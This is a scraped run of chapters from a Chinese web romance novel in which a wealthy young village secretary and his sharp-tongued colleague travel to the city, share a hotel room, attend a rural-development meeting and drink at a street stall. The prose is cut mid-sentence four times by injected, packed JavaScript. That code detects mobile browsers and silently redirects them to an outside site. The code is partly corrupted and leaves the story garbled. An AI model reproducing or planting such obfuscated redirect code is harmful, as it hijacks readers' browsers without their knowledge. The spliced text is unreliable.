;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812559|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 歌与吉他#的词条已经冲到了前五,点进去几乎全是今天直播的截图——有余楸坐在船头唱歌的侧影,有他低头弹吉他的特写,还有两人并肩坐在小船上的双人照。 他的指尖停在一张照片上。 夕阳的余晖洒在湖面,将整个画面染成温暖的橘红色。余楸穿着那套靛蓝色的渔家女装束,微微闭着眼,唇角带着浅浅的笑,歌声仿佛能透过照片流淌出来。而他坐在她身后,抱着吉他,目光没有看琴弦,而是落在她的背影上,眼神柔和得不像话。 这张照片,拍得意外的好。 原朗盯着看了几秒,鬼使神差地点击了保存。 小样儿,他稍微花点心思,不就麻溜的不生气了? 今天的观看人数直接翻了一倍,涨粉速度比之前快了三倍不止,评论区几乎被“求双人直播”刷屏。 看来双人直播效果确实不错。他摸着下巴,若有所思。 要不……以后都这么播? 想到这里,他划开通讯录,拨通了一个号码。 电话很快被接通,那头传来一个温润带笑的男声:“又怎么了,原大少爷?” “上次那个画儿,画得不错。”原朗懒洋洋地说道。 “能得到您的夸奖,我不胜荣幸。” “别恶心我啊,收我那个限量版乐高的时候倒是手快得很。” “公平交易,合情合理啊。” 原朗懒得跟他掰扯,直接切入主题:“那你再给我画一幅。” 电话那头沉默了两秒,随即传来促狭的笑声:“不是我说你小子,怎么对那个姑娘这么上心?确定不是喜欢人家?” “滚一边儿去,我只是不想欠人情。” “行行行,”对方拖长了音调,明显不信,“不过我最近档期很满啊,要不……” “你到我书房里去挑,看上哪个拿走哪个。” “那就谢谢少爷了。” “别贫,你啥时候来?” “一星期以后吧。” “哎哟,真是太好了,有人陪我一起下乡了,让你之前幸灾乐祸,啊?” “还不是拜你所赐!我爸快把我数落完了,说我不知道奉献国家只知道画画,我真搞不懂我一个学美术的能干什么。” 原朗乐不可支:“你可以给我画写真啊。” “穿衣服不收费,露腹肌加点儿。” “滚!” 电话□□脆利落地挂断。原朗笑得肩膀直抖。 半晌,他拿起手机,点进那个备注是“会咬人的兔子”的聊天框,发了条微信: 【后天市里有学习活动,明天我们就过去,顺便看看下一批饲料】 消息发出去,他盯着屏幕等回复。 三分钟后,余楸回了一个字:【哦】 原朗:“……” 他又发:【我来接你,明早七点,别迟到啊】 余楸:【哦】 原朗气得牙痒痒,丢下手机,走到窗边,夜色已深,远处的蟹塘在月光下泛着细碎的银光。 他看了一会儿,转身拿起靠在墙边的吉他,随手拨了几下。 琴弦震颤,流淌出的旋律正是今天下午和着余楸渔歌的那段。 男人自己都愣了一下。 他居然记得这么清楚? 手指像是有了自己的意识,自然而然地继续弹了下去。他的脑海里浮现出余楸唱歌时的样子,仿佛又听见了她的声音,混合着吉他的旋律,在暮色中交织。 指尖的节奏渐渐慢了下来,最后停在一个温柔的尾音上。 房间里安静得只剩下他的呼吸声。 “见鬼了。” 他低声骂了一句,把吉他放到一旁,揉了揉太阳穴。 一定是最近太累了,对,一定是这样。 他走到床边,一头栽进被子里,闭眼准备睡觉,然后满脑子都是余楸今天在船上瞪他的样子。 猛地坐起身,抓过手机,再次点开那个对话框,手指在屏幕上悬了半天,最终只发了一句:【明天记得带身份证】 余楸:【哦】 原朗:【你再回一个哦试试?】 余楸:【哦】 原少爷22年吆五喝六的人生里,第一次体会到了窝囊的感觉。 11. 腹肌! 第二天,早上七点。 余楸准时打开家门,一眼就看见原朗单手插兜靠在车边,见她出来,歪嘴一笑:“早上好!” 那笑容怎么看都带着一股报复的意味。 余楸严重怀疑是在故意模仿她上次堵他的场景。 “秋秋,原书记来接你了?”余爸余妈听到动静也跟了出来,乐呵呵地跟原朗打招呼,“哎呀,原书记真是负责,这么早就来了。” “不辛苦不辛苦,”原朗笑得人畜无害,“余叔余婶放心,我一定照顾好秋秋姐。” 说完还冲余楸抛了个媚眼。 “呕——” 原朗的笑容僵在嘴角。 “不好意思啊,”余楸擦了擦嘴,一脸无辜,“早上吃多了。” “原书记不会介意的吧?” 原朗嘴角抽了抽:“怎么会?快上车吧。” 余爸余妈又拉着余楸叮嘱了半天,从“注意安全”到“别给原书记添乱”,再到“记得按时吃饭”,搞得像是她要远行三年五载似的。 余楸眼眶都红了,眼泪汪汪地点头。 原朗站在一旁满脸问号——不就是进个市吗?搞得跟生离死别一样? 车子启动,余楸还在抹眼泪。 原朗瞥了她一眼:“喂!别哭了!” “关你什么事?”余楸抽噎着,“我流自己的眼泪还不行?” “你丑到我了行吗?”原朗一手扶着方向盘,另一手从储物格里抽了包纸巾扔到她怀里,“赶紧擦擦,鼻涕流到我坐垫上,我找你算账。” 余楸狠狠擤了下鼻子,纸巾团成球精准丢进车载垃圾桶:“你这种人,根本不懂亲情。” “呵,我来盐台的时候,我爸问都不带问一句,直接连人带行李扔出门。” 余楸突然有点同情他了。 “话说,”她犹豫了一下,“你一个人来这么远的地方,爸妈不担心啊?” 她之前查过,从京城到盐台1200公里,坐飞机还得转机,而原朗,居然是一个人开车来的。 难怪第一次遇见的时候,他那么暴躁。 原朗单手搭在车窗上,漫不经心道:“有啥好担心的?我有手有脚的,能做饭又能打架,谁敢欺负我?” “不对,你敢欺负我。” “我哪有!” 余楸刚想继续反驳,但考虑到两人可能会就这个问题吵一路,为了身心健康和人畜安全,还是决定换个话题。 “我的意思是,他们不想你吗?” “你爸,还有你……” “后妈。” 话音刚落,车内的气氛瞬间凝滞。 “后妈”这个词在他们之间已经变得很敏感了。 原朗沉默了一会儿,才淡淡道:“沈姨偶尔会吧,至于我爸,他巴不得我滚得远远的。” 余楸点点头,一脸了然:“看出来你战绩斐然了,以前肯定是个纨绔子弟吧?” “哼,我现在也是。” “想见识一下吗?” 余楸立刻在胸前比了个叉:“不必了,谢谢。” * 路上堵车,九点钟,两人才到酒店。 原朗挑的是盐台市最好的五星级酒店,金碧辉煌的大厅晃得余楸眼睛疼。 她酸溜溜地想,什么时候她也能大手一挥不看价格住酒店就好了。 “您好,请问有预定吗?”前台小姐微笑着问道。 “没有,”原朗把身份证递过去,“两间大床房。” 前台面露难色:“抱歉先生,因为临近端午节,旅游旺季,目前只剩下一间双床房了……” 余楸:? 这是什么狗血剧情?! “不行!”她斩钉截铁地拒绝,“男女授受不亲,换家酒店!” 原朗甩着车钥匙,一脸无语:“余楸,你那疙瘩脑袋能不能动一动?其他酒店就有位置?等你去了,这边的房间也没了。” 他忽然走近一步,凑到余楸耳边:“还是说……” 温热的气息拂过她的耳垂。 “你对我有想法?” 余楸的脸“轰”地烧了起来,抄起笔记本“啪”地拍在他脸上:“不要脸!” 然后一把抢过房卡,头也不回地冲向电梯。 前台小姐捂住了偷笑的嘴角。 原朗尴尬地点头致意,在后面追着喊:“余楸!你知道本少爷的脸多金贵吗?!你居然敢砸?!” 房间比想象中宽敞,落地窗外是城市全景,两张单人床并排摆放,中间隔着一段安全距离。 原朗一进门就把背包甩到床上,整个人呈“大”字形躺上去,舒服地喟叹一声:“啊——这才是床啊!” 在晨阳村,虽然住的是首富的房子,但那床板硬得跟石板似的,硌得他身上经常青一块紫一块。 他不禁想起和余楸第一次见面时,她嘲讽他是“豌豆少爷”。 这女人,比喻得还挺贴切。 他忍不住笑出声。 余楸站在门口,看着床上傻笑的原朗,抄起枕头就砸了过去。 “砰!” 枕头精准命中脸部。 原朗一个鲤鱼打挺坐起来:“余楸!我警告你!再砸我脸我就——” 话没说完,余楸已经掏出手机,镜头对准他们,一本正经地说道:“爸,妈,小樱,还有警察叔叔,我现在在盐台,如果我出事了,你们就找原朗。” 她侧身让镜头对准原朗,“看到了吗?他长这样。” 说完,她点击结束,设置了定时发送。 原朗:“……” 这女人的脑回路真的比九转大肠还清奇。 “余楸,我要是想对你做什么,你早就哭着喊着求我了。” 余楸冷笑:“你敢。” “我怎么不敢?”原朗突然起身,“想打架吗?来试试啊。” 原朗靠近一步,余楸后退两步。 一次,两次,三次。 余楸贴上了墙,退无可退,眼看着男人高大的身躯越来越近。 “啊——!!!”尖叫声划破天花板。 余楸从包里掏出防狼喷雾,对准男人的眼睛就是一通乱喷。 “卧槽!” 原朗猝不及防,捂着眼睛连连后退,直接跌坐在地上。他缓了半天才抬起头,一只眼睛通红,恶狠狠地瞪着余楸。 “余、小、秋!你给我等着!” 余楸举着喷雾,颤抖着后退:“你、你别过来啊!我包里还有电击棒!” “小心我废了你!” 原朗无话可说。 他深吸一口气,咬牙切齿地站起身,径直走向浴室:“算你狠!” * 余楸发誓,如果她知道原朗这么难哄,她绝对不会掏出那瓶防狼喷雾。 此时此刻,她坐在酒店房间的角落,眼睁睁看着原朗趴在床边,举着手机跟后妈视频,一把鼻涕一把眼泪地控诉她的“罪行”。 “呜呜呜姨,你要给我做主啊……”原朗的声音带着哭腔,眼眶通红,活像个受了天大委屈的小媳妇。 “这个女人她她她,污蔑我就算了,还拿防狼喷雾喷我!你看我的眼睛,到明天都好不了!我明天还要去开会,呜呜呜我没脸见人了啊……” 他一边说一边抽纸巾擦眼泪,修长的手指捏着纸巾一角,动作优雅又做作,活脱脱一个娇气包小公主。 余楸现在更加确定,这男人内心住的是个磨人的小公主,还是那种一碰就掉金豆子的类型。 手机那头传来温柔的女声:“哭吧哭吧,哭完了就好了。沈姨给你买礼物好不好?你上次不是说想要辆新车?宾利怎么样?” 原朗的哭声戛然而止,一秒变脸,表情认真得像在谈几个亿的生意:“太老气了,我要女武神。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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余楸的耐心一退再退,终于在傍晚时分濒临崩溃。 她把自己锁在卫生间,像练功似的深呼吸,一遍遍默念:“我是一朵白莲花~我是一朵白莲花~” 还没念完,门外突然传来“砰砰砰”的巨响,震得门板都在颤抖。 “余楸!你好了没有?”原朗催促的声音隔着门传来,“我要洗澡!” 余楸猛地拉开门,映入眼帘的是一大片白得晃眼的胸肌和八块线条分明的腹肌。 原朗不知什么时候已经把上衣脱了,冷白的肌肤在浴室暖光下泛着蜜糖般的光泽,肌肉线条流畅漂亮,像精心雕琢的白巧克力,让人想咬一口。 余楸看呆了。 两秒后,她猛地抬头,对上原朗坏笑的表情。 “看够了吗?” “砰!”门被猛地摔上。 “嗷——!” 不好! 余楸赶紧拉开门。 原朗躺在地上,捂着鼻子,鲜红的血顺着他的指缝缓缓流下,划过下颌线,蜿蜒到脖颈,在冷白的肌肤上显得格外妖艳。 性感到令人窒息。 靠!余小秋,现在是欣赏□□的时候吗! 清醒一点! 余楸哆哆嗦嗦地蹲下身,颤抖着伸出手,轻轻碰了碰原朗的脸:“你你你没事吧?” 男人缓缓移开手,鼻血还在流,衬得他苍白的皮肤有种脆弱的美感。他看了余楸几秒,眼眶渐渐泛起水光,晶莹的泪珠要掉不掉地挂在睫毛上。 “余楸……” “呜呜呜,我讨厌你。” 要命了,这谁顶得住啊! 12. 上来 * 早上八点,盐台市市政府大楼。 一辆耀眼的红色跑车稳稳停下,车门打开,余楸小心翼翼地钻出来,目光不自觉地飘向另一侧下车的男人。 这是她第一次见到原朗穿正装的样子。 剪裁精良的黑色西装完美勾勒出他挺拔的身形,衬衫领口一丝不苟地系到最上面一颗纽扣,整个人散发着与平日截然不同的锋利气场。 阳光在他轮廓分明的侧脸投下浅浅阴影,更添几分沉稳内敛的气质。 ——如果忽略他鼻梁上那个粉红色的创可贴,以及左眼周围尚未完全消退的红肿的话。 两人一前一后走向会议室,空气中弥漫着微妙的沉默。 走廊上,隔壁两个村的书记热情地向原朗打招呼:“原书记,早啊!” “早。”原朗微微颔首。 对方的目光在他脸上的伤痕上停留片刻,忍不住问道:“原书记这是...?” 原朗瞥了眼身旁的余楸,淡淡道:“不小心,让兔子咬了。” “哈哈哈,没想到原书记还养兔子啊?年轻人真有情趣。”对方爽朗大笑。 余楸的脸瞬间涨得通红。 她昨晚已经道歉了无数次,奈何这位大少爷脾气上来,怎么哄都是一副爱答不理的样子。 原朗瞟见余楸的小眼神,不用想也知道,这女人在心里蛐蛐自己呢。 “杨书记、吴书记,咱们这边聊。” 余楸跟着原朗走进会议室,里面来了不少人,多是中年男性和女性,也有两三个看起来像大学生的年轻人。 余楸偷偷观察着他们,冷不防对上一道同样鬼鬼祟祟的目光。 那是一个戴着圆框眼镜的年轻男人,皮肤白皙,面容清秀,见余楸看她,先是转头,而后透露出一个略带羞涩的笑容。 比原朗乖多了。 这是余楸的第一感觉。 她礼貌地回赠了一个笑容,却发现男人的脸更红了,不禁偷笑。 如果是原朗,估计早就说她是 “余楸。” “余楸。” “余、小、楸。” 余楸回过神来有人在喊他,就看见原朗阴沉的脸。 她发誓,蚊子经过都会突然180度大转弯。 “怎么啦。”她有意识放软了语气。 这是在外面办正事,不能跟他吵。 “你看什么呢?” “我喊你三遍了。” 原朗的语气不善。 余楸挠挠脑袋:“没看什么,怎么了,有什么事?” “过来。” “啊?” 迫于原朗眼神的威压,余楸还是小步小步挪了过去。 “给大家介绍一下,这是我的同事,余楸。” “她负责我们村的经济和宣传工作,盐台大学硕士,是晨阳村的建设人才。” 原朗的声音平静而笃定。 余楸惊讶地看向他,一时搞不清楚他这番违心的“华丽包装”目的何在。 她既不是正式编制人员,也还没有做出什么成绩,原朗这番话无疑是在给她“抬咖”。 两人目光相接时,男人的眼神坦然而坚定。 “跟其他书记打个招呼。” 不知为何,余楸觉得自己有了些底气。 深吸一口气,她落落大方地上前与其他村干部握手:“各位书记你们好,我是余楸。我们晨阳村刚起步,特别希望能向各位学习致富经验,请各位前辈多多指点,不吝赐教。” 今天的她一身干练的米色西装套装,长发利落地挽在脑后,整个人散发着知性而大方的气质。 村干部们之前都以为余楸是原朗的秘书。却不想竟然也是同事,还是盐台大学的硕士。 长的好看,还有礼貌,又是如此谦虚,一心为村里的好孩子,村干部们对这位姑娘的印象明显很好。 会议正式开始,主题是全市乡村振兴经验交流。 余楸坐在原朗身旁,聚精会神地听着每个村的发言,不时在笔记本上记录重点。 “青河村2023年集体经济收入突破1200万,其中特色农产品占比58%,电商渠道贡献了42%的销售额...…” 她正专注地写着,一只骨节分明的手突然出现在笔记本上。 余楸清楚地看到,无名指的根部有一颗小小的痣,像一颗白日里的星星。 “这里写错了,不是''转化率'',是''复购率''。” 男人的嗓音压得极低,带着微微的磁性,温热的气息拂过她的耳廓。 余楸没有转头,垂落的发丝遮住了她泛红的耳尖,却遮不住那道若有似无的视线。 * 会议结束,两人驱车前往饲料厂。 余楸望着窗外飞逝的景色,脑海中回放着刚才听到的成功案例:东林村的“合作社+电商”模式,青河村的特色农产品深加工,白杨村的乡村旅游开发...… 晨阳村要怎样才能迎头赶上呢? 她不甘心地咬着下唇,内心涌起一股强烈的斗志。 “想什么呢?”原朗的声音打断了她的思绪。 “我在想,当村官真不容易。” 原朗斜睨她一眼:“知道就好,以后对我好点。” 顿了顿又问,“有什么启发?” 余楸整理思绪,条理清晰地分析起来:“东林村的模式虽然成功,但过度依赖单一平台;青河村的深加工投入成本太高;白杨村的旅游开发倒是可以参考,但我们村缺乏特色景点...…” 她越说越投入,甚至提出了几个因地制宜的改良方案。 原朗听着,嘴角微微上扬,在停下车时丢下一句:“终于有点长进了。” 饲料厂门口,一位五十多岁的中年男子热情地迎上来:“小原!好久不见啊!” 他打量着余楸,突然露出促狭的笑容。 “小原,你这就不够意思了,谈女朋友了都不跟李叔说?” 什么?! 女朋友?! 她?! 余楸顿时慌了神,刚要解释,李叔已经伸出手:“你好啊妹妹,怎么称呼?” 她求助地看向原朗,却发现这人正仰头研究天花板,还故意吹起口哨。 不靠谱的男人,想跟老娘攀关系,做你的千秋大梦去吧! “您误会了,我不是他女朋友。”余楸硬着头皮解释,“我是他……” 对哦,她是原朗的啥? 同事?她没编制啊。 朋友?见过三天一小吵五天一大闹的朋友吗? 想了半天,余楸最后憋出一句。 “我是他大姨。” “噗——” 余楸顾不上管那边笑喷的男人,抱歉地看着老板。 李叔的表情凝固了,他看看余楸,又看看原朗,眼神中写满了“我不理解。” “啊...…真不好意思,是我误会了。” “小原,他大姨,咱们这边来。” 李叔带他们参观了工厂,详细介绍了饲料的生产工艺和质量标准,也在最后提出合作意向:希望能以以优惠价格承包晨阳村所有蟹塘的饲料供应,并协助宣传推广。 这不是个亏本生意。 余楸还想做进一步了解,就被原朗拦住。 “李叔,合作的事我们后面再谈,我今天有点累了,先回去休息。一个星期后给你答复。” 李叔愣了下,但很快欣然同意,一路把他们送到门口。 余楸不满地咕哝着:“我还没说累呢,你倒先累了。娇气包。” “你说什么?” 原朗突然停住脚步,回头看她。 “没什么没什么,快走吧。”余楸满脸心虚。 不是,为什么每次说原朗坏话的时候那男人都能听到啊! 耳朵长她身上了吧。 * 走出饲料厂门口,原朗大步流 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812561|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 星地走在前面,余楸则像只被烈日晒蔫的小猫,慢吞吞地跟在后面。 今天本就温度高,又值正午,太阳毒辣得几乎要把人烤化。余楸的衬衫早已被汗水浸湿,黏腻地贴在背上。 更糟糕的是她脚上那双高跟鞋——平常几乎不穿,今天站了大半天,又走了那么多路,脚踝酸胀得像是被灌了铅。 她一边艰难地挪着步子,一边在心里腹诽:这男人是铁打的吗?走那么快,也不知道等等我! 刚腹诽完,她就一头撞上了一堵人墙。 原朗不知什么时候停了下来,正转过身,一脸嫌弃地看着她。 余楸抬头瞪他:“挡在路中间干啥?当自己是红绿灯啊?” 原朗不说话。 “哎哟你行行好吧大少爷。我快累死了,咱赶紧回去睡觉吧……” 话还没说完,男人突然在她面前蹲了下来。 余楸愣住了。 下一秒,一双冰凉的大手圈住了她的脚踝。 男人的指腹带着微微的薄茧,触碰到她红肿的皮肤时,激起一阵微妙的战栗。他的掌心温度偏低,贴在她发烫的肌肤上,是一种异样的感觉。 余楸立刻捂住嘴。 她这是怎么了? “抬脚。” “把鞋脱了。” 余楸不懂:“脱了?脱了我怎么走路啊?” 原朗抬头看她,眼神无语:“再不脱你就变成二级残废了。脑子已经够惨了,还不好好珍惜其他没废的地方?” 余楸:“……” 这男人说话带刀,还是40米长的那种。 她想反驳,但又苦于说不过他,只能生着闷气把脚抬起来。 高跟鞋一脱,光脚踩上滚烫的地面,余楸立刻被烫得“嘶”了一声,脚趾蜷缩起来。 原朗一手拎起她的高跟鞋,转过身,把后背留给她。 “上来。” 西装外套下的脊背宽阔而挺拔,肩线利落得像是精心裁剪过。 他这是……要背她? “愣着干嘛?”原朗不耐烦地催促,“聋了?” “我,我不要你背。” “我自己能走……” 余楸的声音很小,不知道为什么,她觉得很不好意思。 原朗冷笑一声。 “行啊,那你光着脚走回去,明天截肢的时候记得给我发请帖,我一定到场观摩。” 余楸冲着他的后脑勺做了个鬼脸,犹豫了一下,还是慢慢攀上了他的肩膀。 她的手臂环住他的脖颈,胸膛贴上他的脊背,隔着薄薄的衬衫,能清晰地感受到他身体的温度和肌肉的轮廓。 “好了吗?” 余楸轻轻“嗯”了一声。 男人的双手穿过她的腿弯,稳稳地将她背了起来。 余楸整个人悬空,全部的重量都压在他身上。 原朗的背比她想象中还要可靠,每一步都走得极稳,仿佛她轻得没有重量。 她的脸颊贴着他的肩膀,能闻到他身上淡淡的松木香,混合着阳光晒过的温暖气息。他的西装外套也被汗水浸湿了,火热的温度在她的胸膛和他的脊背之间徘徊,暧昧得让人心跳加速。 余楸悄悄收紧手臂,把脸埋得更深了些。 没人注意的角落,男人的耳尖已经红得滴血。 而此时,饲料厂办公室的窗前。 李叔正端着茶杯喝茶,目光不经意间往窗外一扫,顿时瞪大眼睛,一口茶喷了出来。 阳光下,西装革履的高大男人背着一个光脚的女人,手里还晃悠着一双黑色高跟鞋。 女人的脸埋在男人颈间,男人则微微偏头,唇角似乎带着若有似无的笑。 李叔揉了揉眼睛,又看了一遍。 “现在的''大姨''和''侄子''……都这么相处的吗?” 他低头看了看自己的茶杯,怀疑是不是茶叶里掺了幻觉剂。 这画面,怎么看都不对劲啊! 13. 舒服吗 余楸坐在浴缸边缘,低头看着自己红肿的脚踝。 皮肤上似乎还残留着原朗手指的触感——冰凉、修长,骨节分明,圈住她脚踝时带着不容拒绝的力道。 他的手怎么那么大,但是那么冰,是不是身体有什么问题? 但转念一想,他背她的时候跟拎个小鸡崽似的,大气都不带喘,应该……没什么问题吧? 她抬头看向镜子,脸颊泛着不自然的红晕,连忙捧了把冷水拍在脸上。 丢人!余楸,你脸红个什么劲! 刚才在停车场,她问原朗为什么要背自己。 他是怎么回答的? “要不是看在没法跟余叔交代的份上,我才懒得管你,让你瘸着算了。正好没法跟我在这跳脚。” 余楸对着镜子里的自己撇了撇嘴,伸出食指戳了戳镜面:“你啊你,嘴怎么那么笨呢?老是被姓原的家伙占便宜。” 擦干身体,换上睡衣,她推开浴室门走了出去。 原朗正坐在桌边写着什么,听到动静抬起头。 余楸的发梢还滴着水,皮肤被热气蒸得泛着淡淡的粉,宽松的睡衣领口露出一截纤细的锁骨。 他的目光在她身上停留了两秒,随即移开。 “你在里面游泳吗?洗这么久。” 余楸翻了个白眼:“难道你洗澡就随便扒拉两下?真不讲卫生。” 原朗没接话,只是把桌上的餐盘推了过来:“洗好了就来吃饭。” 余楸走近一看,是酒店餐厅送来的客房服务——牛排、芦笋和鸡肉汤,全是她爱吃的。 她愣了一下,抬头看向原朗。 他居然记得给自己买饭? “看我干嘛?”原朗挑眉,“我又不能吃。” 余楸坐到床边,故意道:“不想吃这个。” 原朗的脸色瞬间黑了。 “余楸,本少爷累得要死要活还给你点吃的,你能不能有点良心?” 他伸手就要把餐盘拿走,“不想吃别吃,我带回去喂狗。” “哎哎哎!”余楸赶紧按住他的手,“我不是那个意思!” 她抿了抿唇,小声道:“谢谢,谢谢你行了吧?” 原朗嗤笑一声:“哇哦,好珍贵的谢谢,我该拿回去供着。你说过的谢谢和补偿做到了几条?” 说好的打扫卫生只去了一天;在警察局前救她然后转头说梦话骂自己;然后昨天又是防狼喷雾又是砸鼻子的。 这女人,就是个骗子兼强盗。 “我是真心的,真心谢谢你。”余楸顿了顿,试探性地拉了拉他的胳膊。 “我请你吃饭,嗯?” 原朗没说话,只是盯着她看,眼神深得让人发慌。 余楸被他看得耳根发热,干脆拽着他起身:“走吧,原书记。” 她的手指无意识地摩挲着他的手腕内侧,没注意到男人的喉结微微滚动了一下。 * 半个小时后,梧桐街边。 原朗坐在一张裂了一半的红色塑料凳上,看着摊前手舞足蹈点菜的余楸,无比懊悔自己怎么就鬼迷心窍,信了她说的“请你吃饭”。 余楸点完菜,蹦蹦跳跳地坐回他对面,见他脸色阴沉,笑嘻嘻地问:“怎么啦?饿啦?” 原朗冷着脸:“我放着五星级酒店的牛排不吃,跟你来吃路边摊。” 他揉了揉太阳穴。 “我真是脑子瓦特了。” 余楸眨眨眼:“哎,你总算承认了吧?” “承认个头!”原朗咬牙切齿,"你知不知道路边摊的东西有多脏?地沟油、老鼠肉,哪一样吃了都会死人的。” 他指着油腻腻的桌面,一脸嫌弃,“小爷我打出生起就没吃过这种歹毒的食物。” “你想谋害朕?” 余楸知道他有点夸张,但确确实实讲的是实情。她忽然意识到,自己和原朗的差距,好像真的有点大。 他从小锦衣玉食,出入高档餐厅;而她最熟悉的,是街边大排档的烟火气。 心里莫名泛起一丝酸涩,但她很快调整好表情,故作轻松道:“哎呀不会死人的,你看我,不是好好的吗?” “所以你长得跟个豆芽菜似的。” “喂!”余楸瞪他,“咱能不能休战一会儿?吃个饭还不消停。” 她把塑料碗和筷子分给原朗,一边倒水一边哄他:“什么事都有第一次嘛,你尝一尝,真的很好吃的。” 她一脸认真:“你要是有个什么三长两短。” “我负责。” 原朗盯着她看了两秒。 呵,要是真给她负责,自己早完蛋了。 很快,菜上来了。一锅热气腾腾的萝卜牛肉,汤汁浓郁,牛肉炖得软烂,萝卜吸饱了肉香,晶莹剔透;旁边是一砂锅猪杂粥,米粒熬得开花,猪肝、猪肠切得薄薄的,撒了一把葱花,香气扑鼻。 余楸熟练地拿起原朗面前的碗,给他盛了满满一碗牛肉和萝卜,推到他面前。 “尝尝!” 然后,她眼睛亮晶晶地问:“小孩子,能喝酒吗?” 原朗眯起眼,微微倾身,语气危险。 “第一,我是成年男人,不是小孩。” “第二,问我们北方男人能不能喝酒,你在搞笑吗?” 余楸转头就喊:“老板娘,来两瓶青岛啤酒,冰的!” 她给自己也盛了牛肉,挑出了香菜,然后急吼吼地往嘴里塞,结果被烫得直缩舌头,“嘶哈嘶哈”地呼气。 原朗嫌弃道:“你能不能有点吃相?就你这样的放我家,都不知道被家法伺候多少回了。” 余楸翻了个白眼:“大少爷,那是你家管得太严了。” 她夹起一块牛肉,吹了吹,“劳动群众吃饭的时候,都是怎么香怎么来,哪有那么多规矩?” 她一边吃一边催促:“你吃啊,真的很好吃!” 原朗半信半疑,拿起筷子夹起一块萝卜,犹豫半天,终于塞进嘴里,小小咬了一口。萝卜炖得入口即化,肉香浓郁,还带着微微的甜味。 竟然……出乎意料的好吃。 余楸满眼期待:“怎么样?” 原朗才不愿意承认这种路边摊好吃呢,于是冷冷说了句:“死不了。” “装货!”余楸撇嘴,“就非得不说正经话。” 啤酒上来,她先举瓶:“原书记,走一个?” 原朗明显不相信她:“你不会等会儿吐我一身,还要我背你走吧?” 余楸满不在乎,他都背过自己一次了,再背一次能咋地? 但面上还是信誓旦旦:“我晕酒?我要是躺尸了,你别管我,行吗?” “逞强。” 酒瓶相碰,冰凉的啤酒滑入喉咙。 “舒服吗?”余楸问他。 “就那样。” 余楸跟原朗说了很多这家店的事。她上学的时候就经常来这儿吃饭,这家大排档的菜烟火气足,有“家的感觉”。 原朗一边吃一边听,没说话,但心里不得不承认,这里的味道和他常去的高档餐厅确实不太一样。 更鲜活,更热闹,就像——坐在对面的余楸。 * 午后阳光渐渐西斜,梧桐街边的大排档人来人往。 一张小桌前,俊男靓女相对而坐,一边喝酒一边划拳。女孩的运气显然差到极点,连输好几把,喝得两颊绯红,眼神都开始飘忽。 “五!十!十五!你又输了!”原朗得意地晃了晃手指。 “喝!” 余楸哀嚎一声,仰头灌下一大口啤酒,然后“咚”地把酒瓶砸在桌上:“不玩了不玩了……” 她晃晃脑袋:“原朗,你是不是出老千?” 原朗双手抱胸,笑得嚣张:“这点儿酒量还敢跟我叫嚣?小爷我可是划拳高手。” 余楸已经头晕目眩,举手投降:“我认输,我认输……” 她趴在桌上,声音越来越小:“咱回去吧……想睡觉……” 话音刚落,她一头砸在桌面上,“砰”的一声震天响。 原朗:“……” 他伸手探了探余楸的鼻息 ——幸好,还活着,只是睡着了。 无奈地起身去结账,原朗真的是一百个不满意。 这女人,说好请他吃饭,最后还要他掏钱。 老板娘笑呵呵地把账单递给他:“小伙子,你是小余的男朋友啊?”她笑眯眯地叮嘱,“要好好照顾她诶,煮点醒酒汤。” 原朗怔了下——这已经是今天第二次被人误会他们的关系了。 真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15812562|175312||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 烦人。 但他最后什么也没解释,解释起来太麻烦。 而且他们不一定会信的,不是吗? 所以他只是点点头:“好的,谢谢。” 转身回到桌前,原朗一只手架起余楸的胳膊,几乎是将她悬空拖着走。 余楸迷迷糊糊地挂在他身上,双脚在地上划拉,嘴里还嘟嘟囔囔地骂:“原朗……你个王八蛋……出老千……” 路过的大爷大妈纷纷侧目,原朗恨不得找个地缝钻进去。 余楸突然抬起头,眯着眼看他:“你……你怎么长三个脑袋?” 原朗:“……” 她伸手去抓他的脸:“让我看看……你是哪吒变的,还是妖怪变的……” 原朗一把按住她作乱的手,咬牙切齿:“余楸,你再动一下,我就把你扔路边喂狗。” 下一秒,女人“哇”的一声哭出来。 “臭男人你凶我!” 原朗以女武神的名义发誓,以后绝对、绝对不跟余楸喝酒了! * 余楸睁开眼,头疼欲裂。 